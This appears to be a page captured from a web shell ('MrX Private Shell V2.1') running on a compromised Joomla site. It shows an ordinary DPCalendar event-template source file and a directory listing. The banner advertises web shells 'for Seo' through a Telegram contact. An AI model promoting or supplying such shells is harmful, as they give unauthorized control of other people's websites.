__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
use DigitalPeak\Component\DPCalendar\Administrator\HTML\Block\Icon;
/**
* @package DPCalendar
* @copyright Copyright (C) 2018 Digital Peak GmbH. <https://www.digital-peak.com>
* @license https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
*/
defined('_JEXEC') or die();
if (!$this->params->get('location_show_upcoming_events', 1)) {
return;
}
?>
<div class="com-dpcalendar-location__events">
<h<?php echo $this->heading + 2; ?> class="dp-heading">
<?php echo $this->translate('COM_DPCALENDAR_VIEW_PROFILE_UPCOMING_EVENTS'); ?>
</h<?php echo $this->heading + 2; ?>>
<div class="com-dpcalendar-location__event-list">
<?php foreach ($this->events as $event) { ?>
<?php $date = $this->dateHelper->getDateStringFromEvent($event, $this->params->get('date_format'), $this->params->get('time_format')); ?>
<div class="dp-event" style="border-color: #<?php echo $event->color ?>">
<?php if ($event->state == 3) { ?>
<span class="dp-event__title_canceled">[<?php echo $this->translate('COM_DPCALENDAR_FIELD_VALUE_CANCELED'); ?>]</span>
<?php } ?>
<a href="<?php echo $this->router->getEventRoute($event->id, $event->catid); ?>" class="dp-link dp-event__link">
<?php echo $event->title; ?>
</a>
<div class="dp-event__date">
<?php echo $this->layoutHelper->renderLayout(
'block.icon',
['icon' => Icon::CLOCK, 'title' => $this->translate('COM_DPCALENDAR_DATE')]
); ?>
<?php echo $date; ?>
</div>
<?php if ($event->rrule) { ?>
<div class="dp-event__rrule">
<?php echo $this->layoutHelper->renderLayout(
'block.icon',
[
'icon' => Icon::RECURRING,
'title' => $this->translate('COM_DPCALENDAR_BOOKING_FIELD_SERIES_LABEL')
]
); ?>
<?php echo nl2br((string) $this->dateHelper->transformRRuleToString($event->rrule, $event->start_date, $event->exdates)); ?>
</div>
<?php } ?>
<?php $this->displayData['event'] = $event; ?>
<?php echo $this->layoutHelper->renderLayout('schema.event', $this->displayData); ?>
</div>
<?php } ?>
</div>
</div>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| default.php | File | 1.38 KB | 0664 |
|
| default.xml | File | 9.24 KB | 0664 |
|
| default_details.php | File | 3.8 KB | 0664 |
|
| default_events.php | File | 2.05 KB | 0664 |
|
| default_header.php | File | 2.08 KB | 0664 |
|
| default_heading.php | File | 503 B | 0664 |
|
| default_icons.php | File | 964 B | 0664 |
|
| default_map.php | File | 1.14 KB | 0664 |
|
| default_resource.php | File | 6.2 KB | 0664 |
|
| default_tags.php | File | 438 B | 0664 |
|
| default_title.php | File | 382 B | 0664 |
|